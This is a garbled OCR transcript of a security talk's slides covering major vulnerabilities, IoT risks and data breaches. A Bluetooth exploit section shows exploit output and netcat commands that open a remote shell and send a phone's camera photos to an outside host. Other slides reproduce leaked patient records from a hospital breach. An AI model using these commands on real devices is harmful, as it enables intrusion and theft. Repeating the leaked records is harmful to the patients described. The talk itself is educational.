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TODAYS PREDICTIONS

FOR TOMORROWS INTERNET



JOSH PYORRE (SECURITY RESEARCHER)

» Cisco Umbrella

» NASA

» Mandiant
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SENSE OF SCALE
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HELLO

my name is










BUG IN SSL VERSION 3.0
MITM
236 SSL 3.0 REQUESTS < 1 BYTE ENCRYPTED DATA



HEARTBLEED



APRIL 7, 2014



BUG IN OPENSSL
BUFFER OVER-READ
CLIENTS AND SERVERS



POST DATA IN USER REQUESTS
SESSION COOKIES/PASSWORDS
PRIVATE KEYS



YAHOO, IMGUR, STACK OVERFLOW, DUCKDUCKGO,
PINTREST, REDDIT, AKAMAI, GITHUB, AMAZON WEB
SERVICES, INTERNET ARCHIVE, SOUNDCLOUD, TUMBLR,
STRIPE, ARS TECHNICA, SPARKFUN, PRELI,
SOURCEFORGE, BITBUCKET, FREENODE, WIKIPEDIA,
WUNDERLIST, LASTPASS

AND A LOT MORE




REVERSE HEARTBLEED



AFFECTS ONS OF %
CAN READ'GEIENT MEMORY




HP SERVER APPS, FILEMAKER, LIBREGFFICE, LOGMEIN,
MCAFEE, MSSQL, ORACLE.PRODUCTS, PRIMAVERA,
WINSCP VMWARE PRODUCTS, DEBIAN, REDHAT, LINUX
MINT, UBUNTU, CENTOS, ORACLE LINUX, AMAZON
LINUX, ANDROID, AIRPORT BASE STATIGNS, CISCO 0§,
JUNIPER FIRMWARE, IPCOP. PFSENSE, DD-WRT
ROUTER FIRMWARE, WESTERN DIGITAL DRIVE

FIRMWARE. . .

AND A'LOI MORE



SHELLSHOCK

SEPT 14, 2014



BASH IS USED IN INTERNET-FACING SERVICES
CGl WEB SERVERS

OPENSSH SERVERS
DHCP CLIENTS



BASH IS USED IN INTERNET-FACING SERVICES
PROCESSES REQUESTS
ATTACKER CAN SEND EXTRA DATA
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SECURE
HASHING
ALGORITHM



JB260F397C573ED923919A968A59AC6B2E13B52D
| HOPE THIS PRESENTATION ISN'T BORING



SHA-1

» Dates back to 1995
» Known to be vulnerable to theoretical attacks since 2005
» Banned by NIST for Federal Use 2010

» Digital Certificate Authorities Banned from Issuing Certs Using
SHA-1 Since Jan, 2016



SHAttered

The first concrete collision attack against SHA-1
https./shattered.io

Wi Google

Elie Bursztein
Ange Albertini
Yank Markov

Marc Stevens
Pierre Karpman

38762ct71f55934b34d179ae6ad4c80cadccbhb7f0a
38762ct71f55934b34d179ae6ad4c80cadccbhb7f0a
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The first concrete collision attack against SHA-1

. . ’ v
https./shattered.io

Wi Google

Elie Bursztein
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Yarik Markov

Marc Stevens
Pierre Karpman
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WEP

» Security Algorithm to Provide Data Confidentiality (1997)
» 40 bit key

» ...with a 24-bit initialization vector (1V)

» IV helps prevent repetition of the key across devices

» ...but a 24 bit key is not long enough

» For a 24-bit IV, there is a 50% probability the same IV will repeat
after 5000 packets






WPA2

» Much-moresecurel



6% Key Reinstallation Attacks

Discovered by Mathy Vanhoef of imec-DistriNet, KU Leuven

<$ Breaking WPAZ2 by forcing nonce reuse




WPA2

» Takes advantage of several key management vulnerabilities in the
WPAZ2 security protocol

» Attackers can MITM the Connection
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S3 Smartwatch
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$ suda python? doit.py hcil ac:37:43:b5:28:4b

Not connected,

[*] Pwn attempt O:

[+] Doing stack memeory leak...: Done

[*] Libc base: @x15644000, bss base: Oxda550000
[*] system: OxT5689149, acl name: Oxda’52eed

[*] Set hcil to new rand BDADDR ef:41:e8:d42:28:91
[+] Connecting to BNEP again: Done

[+] Pwning,...: Done

[*] Pwn attempt 1:

[*] Set hcil to new rand BDADDR ca:64:3b:25:19:¢8
|+] Doing stack memeory leak...: Done

[*] libc base: Bxf56448080, bss base: Bxec5160600
[*] system: Oxf5689749, acl_name: Oxec718eed

[*] Set hcil to new rand BDADDR 22:32:be:67:bc:cc
[+] Connecting te BNEP again: Done
[
|
[

+| Pwning...: Done =
*] Looks Like it didn't crash. Possibly worked
Dane
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! !
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) ( aniin) , 3a( stack), ‘ 8 \ dy B 1082 (uf I
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5 )|
S cat commands
id

getprop ro,product.model && getprop ro.build.fingerprint
toybox nc 192.168.1.139 5356 | sh

Is /storage/sel f/primary/DCIM/Camera/

cat /storage/self/primary/DCIM/Camera/

| toybox nc 192,168.1.139 5556
5




OO Terminal

|

Network and Internet

L‘ Bluetooth Network Connection " VirtualBox Host-Only Network
x O
l—‘ Wi-Fi

5 COMPROMISE

User's Bluetooth Is Not Connected
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HTTP SERVER PROJECT Cf*“

Apache httpd 2.2 vulnerabilities

This page lists all security vulnerabilities fixed in released versions of Apache httpd 2.2. Each vulnerability is given a security impact rating by the Apache security team - please note that this
rating may well vary from platform to platform. We also list the versions of Apache httpd the flaw is known to affect, and where a flaw has not been verified list the version with a question mark.

Please note that if a vulnerability is shown below as being fixed in a "-dev" release then this means that a fix has been applied to the development source tree and will be part of an upcoming full
release.

This page is created from a database of vulnerabilities originally populated by Apache Week. Please send comments or corrections for these vulnerabilities to the Security Team.

Fixed in Apache httpd 2.2.35-dev

low: Use-after-free when using <Limit > with an unrecognized method in .htaccess ("OptionsBleed") (CVE-2017-9798)

When an unrecognized HTTP Method is given in an <Limit {method}> directive in an .htaccess file, and that .htaccess file is processed by the
corresponding request, the global methods table is corrupted in the current worker process, resulting in erratic behaviour.

This behavior may be avoided by listing all unusual HTTP Methods in a global httpd.conf RegisterHttpMethod directive in httpd release 2.2.32
and later.

To permit other .htaccess directives while denying the <Limit > directive, see the AllowOverrideList directive.
Source code patch is at;

» http://www.apache,.org/dist/httpd/patches/apply to 2.2.34/CVE-2017-9798-patch-2.2.patch

Note 2.2 is end-of-life, no further release with this fix is planned. Users are encouraged to migrate to 2.4.28 or later for this and other fixes.

Acknowledgements: We would like to thank Hanno Bock for reporting this issue.

Reported to security team 12th July 2017
Issue public 18th September 2017

Affects 2.2.34,2.2.32,22.31,2.2.29, 2.2.27, 2.2.26, 2.2.25, 2.2.24, 2.2.23, 2.2.22, 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17,
2.2.16,2.2.15,2.2.14,2.2.13,2.2.12,2.2.11,2.2.10,2.29,2.28,2.2.6,2.2.5,2.24,223,22.2,2.20






Adobe Security Bulletin

Summary

Adobe has released a security update for Adobe Flash Player for Windows, Macintosh, Linux and Chrome OS. This update
addresses a critical type confusion vulnerability that could lead to code execution.

Adobe is aware of a report that an exploit for CVE-2017-11292 exists in the wild, and is being used in limited, targeted attacks
against users running Windows.

Vulnerability details

Vulnerability Category Vulnerability Impact Severity CVE Number

Type Confusion Remote Code Execution Critical CVE-2017-11292

Search Ac



Adobe Security Bulletin

Summary

Adobe has released a security update for Adobe Flash Player for Windows, Macintosh, Linux and Chrome OS. This update
addresses a critical type confusion vulnerability that could lead to code execution. :

Adobe is aware of a report that an exploit for CVE-2017-11292 exists in the wild, ind! 5 belng used in limited, targeted attacks
against users running Windows.

Vulnerability details

-~
A -

Vulnerability Category e M \‘ Vulnerability Impact Severity CVE Number

Type Confusion ‘ ‘ Remote Code Execution Critical CVE-2017-11292

Adobe Flash Player for Microsoft Edge and Internet Explorer 11 27.0.0130 | Windows 10 and 8.1

Adobe Flash Player Desktop Runtime 27.0.0159 | Linux

Search Ac
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AND NOW THERE
ARE THINGS



AND THEY ARE
CONNECTED




Quirky Egg Minder Wink App Enabled Smart Egg Tray quirky

YICYIICC ¥ 507 customer reviews | 51 answered questions
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WEATHER ALERT FORGET ME NOT ALERT WEATHER SHARING
ocombrella sends you severe ocombrella sends an alert if you ocombrella shares live data to the
weather alerts in vicinity forget it at the restaurant or wezzoo community

somewhere else



AMAZON ECHO
MAKE LIFE EASIER

ORDER THINGS BY TALKING
ASK IT QUESTIONS




“Alexa, turn
on patio.”




AMAZON ECHO
PROFILE YOU

PAST RECORDING
NOT JUST YOUR VOICE




Amazon's Alexa started ordering people dollhouses
after hearingitsnameon TV

Check your settings




AMAZON ECHO
PROFILE YOU

PAST RECORDING
NOT JUST YOUR VOICE
ULTRASONIC FREQUENCIES




AND WITH PHYSICAL ACCESS. ...
ANYTHING GOES!




Wynn Las Vegas to add
Amazon Alexa to all hotel
rooms

Anita Balakrishnan | @MsABalakrishnan
Published 11:01 AM ET Wed, 14 Dec 2016

SecnBC




Debug connection pads, bottom of device




[ V.UUUUUU] ITYINg to install type COntrol 10r iRlooo
[ 0.000000] Trying to set irq flags for IRQ385

[ 0.154846] mtdoops: mtd device (mtddev=name/number) must be supplied
[ 0.165100] ks8851 spi1.0: failed to read device ID

[ 0.201934] codec: aic32xx_i2c_probe : snd_soc_register_codec success

[ 0.246307] Power Management for TI OMAP3.

[ 0.256164] drivers/rtc/hctosys.c: unable to open rtc device (rtc0)

[ 2.320709] DSPLINK Module (1.65.01.05_eng) created on Date: Jan 31 2017 T
Shared memory /QSpeakerin.shm deletion failed.

Shared memory /QEarconin.shm deletion failed.

Shared memory /AudiodCmd.shm deletion failed.

Shared memory /BMicsOut.shm deletion failed.

Shared memory /BPhoneMic.shm deletion failed.

Shared memory /BVolPMic.shm deletion failed.

Shared memory /BTraitRe ktWAYﬁ m LISTEN I NG DEVICE'
Shared memory /BAsrMe

Shared memory /BRemoteMic.shm deletion failed.

CGRE[795]: Started the CGroup Rules Engine Daemon.

Shared memory /BPlaybackAvgPower.shm deletion failed. |

shared memory /QSpeakerin.shm created successfully. (byte_num=95232.) !

shared memory /QEarconin.shm created successfully. (byte_num=16000.) )

shared memory /AudiodCmd.shm created successfully. (byte_num=3000.)

shared memory /BMicsOut.shm created successfully. (msg_size=2, msg_num= 1048575 )
shared memory /BPhoneMic.shm created successfully. (msg_size=2, msg_num= 1,6000.)

shared memory /BRemoteMic.shm created successfully. (msg_size=2, msg_num=16000.)
shared memory /BVolPMic.shm created successfully. (msg_size=2, msg_num=16000.)

shared memory /BPlaybackAvgPower.shm created successfully. (msg_size=4, msg_nun@ss@o)
shared memory /BTraitReport.shm created successfully. (msg_size=24, msg_num=128.)

shared memory /BAsrMetadata.shm created successfully. (msg_size=1, msg_num=131072.)
CMEM Shared Sizes: Audio A2D 9612 82836 Aux A2D 240276 1600276



Amazon handed over Alexa recordings to

the police in a murder case
.

Amazon declined to give police any of the information that the Echo

logged on its servers, but it did hand over Bates' account details and
purchases.

Sure, the Echo is activated by
certain words, but it's not uncommon tor the IoT gadget to be alerted to
listen by accident.



WARNING

IN OPERATION

AUDIO SURVEILLANCE
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NO SECURITY CONTROLS
AUDIO SURVEILLANCE
VIDEQ RECORDING
COMMUNICATION DEVICE
NETWORK SCANNER
WAICHDOG



Hackers found 47 new vulnerabhilities in 23 loT
devices at DEF CON

The results from this year's |oT hacking contest are in and it's not a pretty picture



Smart refrigerator hack exposes Gmail login
credentials

A bonus feature on a smart home product becomes a security liability.



Parental Warning: Your Baby Monitor Can Be
Hacked



FUN METHODS OF
COMPROMISE
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ANDY GREENBERG SECURITY 07.21.15 06:00 AM

HACRERS REMOTELY RILL A
JEEP ON 'THE HIGHWAY—WITH
MEINTT




LAW ENFORCEMENT

» |OT tasers
» 1IOT microphones

» |IOT cameras




Police departments have their eye on Google Glass

The New York Police Department is testing Google Glass and other
departments may follow suit

Police departments throughout the U.S. are
considering whether to equip their officers with
Google Glass.

New York City Police Department Commissioner Bill
Bratton confirmed the department is already using
the smart glasses during a press conference last

week.




QR code security vulnerability found with Google Glass

Engineers at Lookout Mobile Security have discovered a previously unknown security vulnerability with Google's project Glass wearable headset. Marc Rogers reports
on the company's web site that engineers found that when pictures were taken of printed QR codes, the device could be routed to a hostile Wi-Fi access point, which in
turn allowed for monitoring and capture of data flow to and from the device. They also found they were able to divert the device to a web page that allowed for taking

advantage of a previously known Android vulnerability.
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MEDICAL

» Pace Makers




Catheter ——
F at

Irculin

Dosage instructions
are entered into the
pump’s small computer
and the appropriate
amount of insulin is
then injected into the
body in a calculated,
controlled manner

Insulin pump



UTILITIES

» SCADA Systems



CITY OF SOUTH HOUSTON NEVADA WATER PLANT
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MAY, 2017

BRONX LEBANON HOSPITAL



MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

HOW IT HAPPENED

» Misconfigured Rsync

backup server hosted by
iHealth

» Discovered using Shodan



MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

HOW IT HAPPENED

» Misconfigured Rsync

backup server hosted by
iHealth

The search engine for

Shodan is the world's first search engine for Internet-connected devices.

nmmarencon: | R




MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

WHO WAS AFFECTED

» 7,000 people between
2014-2017




MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

WHAT WAS TAKEN




Abuse:

| Has patient been hit/kicked/slapped or forced to have sex , or is a victim of
|[neglect : yes
| Suspected Physical Abuse : no
| Suspected Sexual Abuse : no
Suspected Neglect : no
l Abuse Reported : no
} Case Accepted by ACS/APS : no
l
|

Comments: patient was physically abused by _ She was raped by her

|SUBSTANCE ABUSE HISTORY:
|Substance Abuse Hx:

, Last Used - 4 hour(s) ago , Age of First
|Use - 14 Years 0l , Administration - Orally.

Cannabis: 1 Joint weekly , Last Used - 4 hour(s) ago , Age of First
|Use - 14 Years Old , Route UT Administration - Smoking.
Cocaine: $50-100 - weekly , Last Used - 4 hour(s) ago , Age of First Use -
ears Old , Route of Administration - Smoking and Nasal (ispiffingi).
ithin the last (6) months, describe triggers/precipitants to use:-

Liness.
| Within the last (6) months, describe pattern of substance use, during a
|typical week: drinks alcohol, use cocalge, cannabis dependence.
| Longest Period of Abstinence:ﬁ/ears.
| Conditions Contributing to AbSTInence: strong motivation to be clean
| employed
| good family support.
| Is Patient currently on Methadone Maintenance: no.
| Describe Perceived Negative Consequences of Substance Use: stop medications
| legal problems.
| Oescribe Perceived Positive Consequences of Substance Use: Patient reports "
I
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Cannabis: 1 Joint weekly , Last Used - 4 hour(s) ago , Age of First
|Use - 14 Years Old , Route UT Administration - Smoking.
Cocaine: $50-100 - weekly , Last Used - 4 hour(s) ago , Age of First Use -
ears Old , Route of Administration - Smoking and Nasal (ispiffingi).
ithin the last (6) months, describe triggers/precipitants to use:-

Liness.
| Within the last (6) months, describe pattern of substance use, during a
|typical week: drinks alcohol, use cocalge, cannabis dependence.
| Longest Period of Abstinence:ﬁ/ears.
| Conditions Contributing to AbSTInence: strong motivation to be clean
| employed
| good family support.
| Is Patient currently on Methadone Maintenance: no.
| Describe Perceived Negative Consequences of Substance Use: stop medications
| legal problems.
| Oescribe Perceived Positive Consequences of Substance Use: Patient reports "
I




MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

WHAT THEY DID WRONG

» Bronx Lebanon Outsourced
Backups without Audit

» IHealth Collected Backup
Data in an Insecure Manner



MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

THAT ANY DATA
HAS BEEN USED INAPPROPRIATELY

IHealth



MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

HOSPITAL MITIGATIONS

» Audit their Cloud Providers

» Perform regular searches

for their data using tools
like Shodan

» Perform Vulnerability
Analysis

» Encrypt their data



MAY, 2017: BRONX LEBANON HOSPITAL CENTER (NY)

IHEALTH MITIGATIONS

» Secure Connections

» Perform Regular Searches
Using Tools Like Shodan

» Conduct Vulnerability
Analysis

» Require Data Encryption



ASHLEY
MADIS~N’

Life is short. Have an affair.®

JULY, 2015

ASHLEY MADISON

https://krebsonsecurity.com/2015/07/online-cheating-site-ashleymadison-hacked/



We are th
We have taken over all systems in
all customer information databases, so

on domains,
records, emails

Shutting down AM and EM will cost yo
We will release all customer records
sexual fantasies, nude pictures, an
transactions, real names and addre
Avid Life Media will be liable for

Il cost you more:
omers' secret
ng credit card
ts and emails.
ns of users.

JULY, 2015

ASHLEY MADISON

https://krebsonsecurity.com/2015/07/online-cheating-site-ashleymadison-hacked/



JULY, 2015, ASHLEY MADISON DATA BREACH

HOW IT HAPPENED

» Impact Team
» Databases were accessed

» Website may have been
vulnerable

» Could have been malware



JULY, 2015, ASHLEY MADISON DATA BREACH

WHAT WAS TAKEN

» 27.5 Million Users Affected
» Real Names
» Addresses
» Credit Card Numbers

» Sexual Fantasies



JULY, 2015, ASHLEY MADISON DATA BREACH

WHAT WAS TAKEN

» Internal Company Servers

» Employee Account Information
» Company Bank Account Data

» Salary Information

» Employee Emails



JULY, 2015, ASHLEY MADISON DATA BREACH

TERRIBLE RESPONSE

» Lots of Denial

» 60 GB of data confirmed on Aug
18

» Released on bittorrent, shared
in the Dark Web



Avid Life Media has failed to take down Ashley Madison and Established Men.
We have explained the fraud, deceit, and stupidity of ALM and their members.
Now everyone gets to see their data.

Find someone you know in here? Keep in mind the site is a scam with thousands
of fake female profiles. See ashley madison fake profile lawsuit; 90-95% of
actual users are male. Chances are your man signed up on the world's biggest
affair site, but never had one. He just tried to. If that distinction matters.

Find yourself in here? It was ALM that failed you and lied to you. Prosecute
them and claim damages. Then move on with your life. Learn your lesson and make
amends. Embarrassing now, but you'll get over it.

Any data not signed with key 6E50 3F39 BA6A EAAD DBID ECFF 2437 3CDS5 74AB AA3S
is fake.

Impact Team's statement on the release
Impact Team's PGP signature for the released statement

Impact Team's PGP Key
Torrent for the released data

Back 10 Quantum Magazing




Name

wl ashleymadison.tgz

Ll avid.taz

W dba.tgz

Wl design.tgz

L dev.tgz

Ll misc.tgz

i mobile.tgz

wl noelbiderman.mail.7z
' noel.biderman.mail.7z.asc

Wl product.tgz

na.tqz

Size

343 GB
57.78 MB
210.0 MB
337.1 MB
534.0 MB
344.3 MB
863.6 MB
13.74 GB

0.84 kB
203.3 MB
32.69 MB

Have

0% |

0%
0%
0%
0 %
0%
0%
0%
0%
0%
0%

Download

RN N<B<N<B<B<B<B<B<]<

Priori!

Norma
Norma
Norma
Norma
Norma
Norma
Norma

Norma

Norma




SEPT, 2017

EQUIFAX



SEPT, 2017, EQUIFAX DATA BREACH

WHQO IS AFFECTED

» 143 Million Customers



United States of America / Population

323.1 million (2016)

® United States of
America
323.1 million

Russia
144.3 million

United Kingdom
65.64 million




SEPT, 2017, EQUIFAX DATA BREACH

WHO IS AFFECTED

» 143 Million Customers

United States of America / Population

323.1 million (2016)

® United States of

} erice
¢ "7 on

Russia ™ ™
144.3 million

United Kingdom
65.64 million




SEPT, 2017, EQUIFAX DATA BREACH

HOW IT HAPPENED

» Vulnerable Web App on a US
Website

» Old Apache Struts
Vulnerability



SEPT, 2017, EQUIFAX DATA BREACH

WHAT WAS TAKEN

» Names
» Birth Dates

» Phone Numbers

» Email Addresses

» Credit Card Info from 209,000
Customers

» Dispute Docs with Pll for 182,000
Customers

» SSN’'s



SEPT, 2017, EQUIFAX DATA BREACH

WHAT WAS TAKEN

» Names

Everything you need

» Phone Numbers

for Identity Theft!

» Dispute Docs with Pll for 182,000
Customers

» SSN's




SEPT, 2017, EQUIFAX DATA BREACH

POOR RESPONSE

» Attackers had access mid-May to
July 2017

» Breach discovered July 29

» Three executives (including CFO)
sell a bunch of stock after discovery




SEPT, 2017, EQUIFAX DATA BREACH

POOR RESPONSE

» Attackers had access mid-May to
July 2017

» Breach discovered July 29

» Three executives (including CFO)
sell a bunch of stock after discovery

» We find out about it Sept 7!




SEPT, 2017, EQUIFAX DATA BREACH

WHAT ARE YOUR OPTIONS?

» Free Credit Monitoring




SEPT, 2017, EQUIFAX DATA BREACH

WHAT ARE YOUR OPTIONS?

» Free Credit Monitoring

» ...from Equifax




trustedidpremier.com ‘ INVESTIGATE

Details for trustedidpremier.com SEARCH IN GOOGLE

Classifier prediction: suspicious Umbrella risk score: [f£3

DNS queries

DNS queries/hour

12. Aug 14. Aug 16. Aug 18. Aug 20. Aug 22. Aug 24. Aug 26. Aug 28. Aug 30. Aug

Details for www.equifaxsecurity2017.com SEARCH IN GOOGLE
SEARCH IN VIRUSTOTAL

Classifier prediction: suspicious Umbrella risk score: (23

DNS queries

DNS queries/hour

12. Aug 14. Aug 16. Aug 18. Aug 20. Aug 22. Aug 24. Aug 26. Aug 28. Aug 30. Aug 1. Sep




equifaxsecurkty2017.com
equifaxsecurlty2017.com
equifaxsecurmty2017.com
equifaxsecuroty2017.com
equifaxsecurrity2017.com
equifaxsecurtity2017.com
equifaxsecurtiy2017.com
equifaxsecurty2017.com
equifaxsecuruty2017.com
equifaxsecuryty2017.com
equifaxsecusity2017.com
equifaxsecutity2017.com
equifaxsecuurity2017.com
equifaxsecuvity2017.com
equifaxsecuyrity2017.com
equifaxsecuzity2017.com
equifaxsecvurity2017.com
equifaxsecwrity2017.com
equifaxsecxurity2017.com
equifaxsecyrity2017.com
equifaxseecurity2017.com
equifaxsegurity2017.com
equifaxsekurity2017.com
equifaxsercurity2017.com
equifaxsesurity2017.com
equifaxseucrity2017.com
equifaxseurity2017.com
equifaxsevurity2017.com
equifaxsewcurity2017.com
equifaxsexurity2017.com
equifaxsgcurity2017.com
equifaxsicurity2017.com
equifaxsmcurity2017.com
equifaxsocurity2017.com
equifaxsrcurity2017.com
equifaxssecurity2017.com
equifaxsucurity2017.com
equifaxswcurity2017.com
equifaxwecurity2017.com
equifaxxsecurity2017.com
equifaxzsecurity2017.com
wwwequifaxsecurity2017.com

equifaxsecuritty2017.com
equifaxsecuritu2017.com
equifaxsecuritx2017.com
equifaxsecurity0017.com
equifaxsecurity017.com
equifaxsecurity0217.com
equifaxsecurityl017.com
equifaxsecurity2-17.com
equifaxsecurity20-17.com
equifaxsecurity20017.com
equifaxsecurity2007.com
equifaxsecurity20l.com
equifaxsecurity20117.com
equifaxsecurity20127.com
equifaxsecurity2013.com
equifaxsecurity2015.com
equifaxsecurity2016.com
equifaxsecurity201l7.net
equifaxsecurity20176.com
equifaxsecurity20177.com
equifaxsecurity20178.com
equifaxsecurity20l7com.com
equifaxsecurity2018.com
equifaxsecurity20lw.com
equifaxsecurity2027.com
equifaxsecurity2037.com
equifaxsecurity2057.com
equifaxsecurity207.com
equifaxsecurity2071.com
equifaxsecurity20917.com
equifaxsecurity2097.com
equifaxsecurity2017.com
equifaxsecurity20q7.com
equifaxsecurity21017.com
equifaxsecurity2107.com
equifaxsecurity2117.com
equifaxsecurity217.com
equifaxsecurity22017.com
equifaxsecurity2217.com
equifaxsecurity23017.com
equifaxsecurity2417.com
equifaxsecurity2817.com
equifaxsecurity2917.com
equifaxsecurity2o0l7.com
equifaxsecurity2pl7.com
equifaxsecurity3017.com
equifaxsecurity6017.com
equifaxsecurityr017.com
equifaxsecurityt2017.com
equifaxsecurityu2017.com
equifaxsecurityy2017.com
equifaxsecuriuty2017.com
equifaxsecuriuy2017.com

equifaxsecurivy2017.com
1 . 5 N

eequifaxsecurity2017.com
equifax3ecurity2017.com
equifaxaecurity2017.com
equifaxcecurity2017.com
equifaxcsecurity2017.com
equifaxdecurity2017.com
equifaxecurity2017.com
equifaxescurity2017.com
equifaxesecurity2017.com
equifaxgecurity2017.com
equifaxrecurity2017.com
equifaxsacurity2017.com
equifaxsaecurity2017.com
equifaxsceurity2017.com
equifaxscurity2017.com
equifaxsdcurity2017.com
equifaxsdecurity2017.com
equifaxseaurity2017.com
equifaxseburity2017.com
equifaxsec5rity2017.com
equifaxseccurity2017.com
equifaxsecerity2017.com
equifaxsecirity2017.com
equifaxsecqrity2017.com
equifaxsecrity2017.com
equifaxsecruity2017.com
equifaxsectrity2017.com
equifaxsecu2ity2017.com
equifaxsecubity2017.com
equifaxsecueity2017.com
equifaxsecuirity2017.com
equifaxsecuirty2017.com
equifaxsecuity2017.com
equifaxsecupity2017.com
equifaxsecuraty2017.com
equifaxsecureity2017.com
equifaxsecurety2017.com
equifaxsecurhty2017.com
equifaxsecuri4y2017.com
equifaxsecuridy2017.com
equifaxsecuriity2017.com
equifaxsecurioty2017.com
equifaxsecuripy2017.com
equifaxsecuriry2017.com
equifaxsecurit2017.com
equifaxsecurit2y017.com
equifaxsecurit92017.com
equifaxsecuritay2017.com
equifaxsecuriti2017.com




Equifax website borked again, this time

to redirect to fake Flash update

Malware researcher encounters bogus download links during multiple visits.




, 2017, EQUIFAX DATA BREACH

G Equifax| Credit Bureau | Chec

This prograen will ristal the lstest version of Flash Player
Usage subject to the

¥ 1 have read and agree o the terms of the license sgreement




Details for centerbluray.info SEARCH IN GOOGLE

SEARCH IN VIRUSTOTAL

This domain is currently in the Umbrella block list

This domain is associated with the following type of threat: Potentially Unwanted Application

DNS queries

L

DNS queries/hour

10. Oct 12. Oct 14. Oct
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233 4,729,225,727 54,521 51,631,016

pwned websites pwned accounts pastes paste accounts



Home

Notify me

Domain search

Who's been pwned

Passwords  API

About Donate B

Here's an overview of the various breaches that have been consolidated into this site. Each of these has been dumped publicly and is

readily available via various sites on the web. This information is also available via an RSS feed.
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711,477,622
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457,962,538
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|myspace 350 420 698
& Sneee 234,842,089
iR 164,611,595
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badOo 112,005,531

Onliner Spambot accounts
Q&

Exploit.In accounts ®
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accounts ®

River City Media Spam List
accounts )

MySpace accounts
NetEase accounts @
LinkedIn accounts
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Onverse accounts
Brazzers accounts @
Black Hat World accounts
Abandonia accounts
Android Forums accounts
WildStar accounts
MALL.cz accounts
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myspace.com:

Email Addresses, Usernames, Passwords

Total Breaches

Jul 1, 2008
— 369,420,698
600M -
400M
200M - '
0 -

2008 2010 2012 2014 2016

Using data from https://haveibeenpwned.com/




LinkedIn:

Email Addresses, Passwords

Total Breaches

May 5, 2012
— 164,611,595
600M -
400M
200M - % '
O —

2008 2010 2012 2014 2016

Using data from https://haveibeenpwned.com/




Dropbox:

Email Addresses, Passwords

Total Breaches

Jul 1, 2012
— 68,648,009
600M -
400M
200M - ! a
0 -

2008 2010 2012 2014 2016

Using data from https://haveibeenpwned.com/




tumblr:

Email Addresses, Passwords

Total Breaches

Feb 28, 2013
— 65,469,298
600M -
400M -
200M - ! l
0= . .

I w _
2008 2010 2012 2014 2016

Using data from https://haveibeenpwned.com/



adobe:

Email addresses, Password hints, Passwords, Usernames

600M -

400M -

200M -

—

Total Breaches

r\v_AAL_AARJL__JulfHMJ

Oct 4, 2013
— 152,445,165

2008

2010

I |
2012 2014

Using data from https://haveibeenpwned.com/

2016




Exploit.in:

Email Addresses, Passwords

Total Breaches

Oct 13, 2016
— 593,427,119
600M -
400M
200M -
0 -

2008 2010 2012 2014 2016

Using data from https://haveibeenpwned.com/




rivercitymediaonline.com:

Email addresses, IP addresses, Names, Physical addresses

600M

400M

200M

2008

Total Breaches

2010

2012 2014

Using data from https://haveibeenpwned.com/

NV NN WA

2016

Jan 1, 2017
— 393,430,309




Onliner Spambeot :

Email Addresses, Passwords

600M -

400M

200M -

2008

Total Breaches

2010

2012 2014

Using data from https://haveibeenpwned.com/

NN YN WY |

2016

Aug 28, 2017
— 711,477,622

*




GET TO THE POINT.
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AND IT WILL
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WE WILL RAVE
LESS PRIVACY






FACIAL
RECOGNITION




VIDEO FROMAINENTY REPORT

=SHOWING WHEREERCIAL
RECOGNITIDN MEMT BE HEADING




4 * .
e Anti Face
\ .;'_:l- This face is unrecognizable to
[ —

several state-of-art face

‘ | . . detection algorithms.

Face

Once computer vision
programs detect a face, they
can extract data about your
emotions, age, and identity.

See how a face is detected

Camouflage from face
detection.
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DARPA CYBER GRAND CHALLENGE

v%x\ . B=c=— ~IV » 7 Machines

'/’

i ’> Patch themselves




“This Cyber Grand Challenge,” DARPA said in a press release, “will mark the

systems that can to detect, evaluate, and patch softwre Vlerablhtles before

=
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adversarles__have a chance 0 exp ,01t them.
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Prevent Cyberattacks
with Artificial Intelligence

Cybersecurity that predicts; prevents, and protects.

1 . ., :
© : 2

o

v

The Enterprise Immune System
Catch ransomware and other emerging threats with the world's
machine learning and Al platform for cyber security.
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VIDED OF US KICKING ROBOTS. ..

LI




VIDED OF US KICKING ROBOTS. ..
















YOU'LL PAY FOR
THAT




YOU'LL PAY FOR




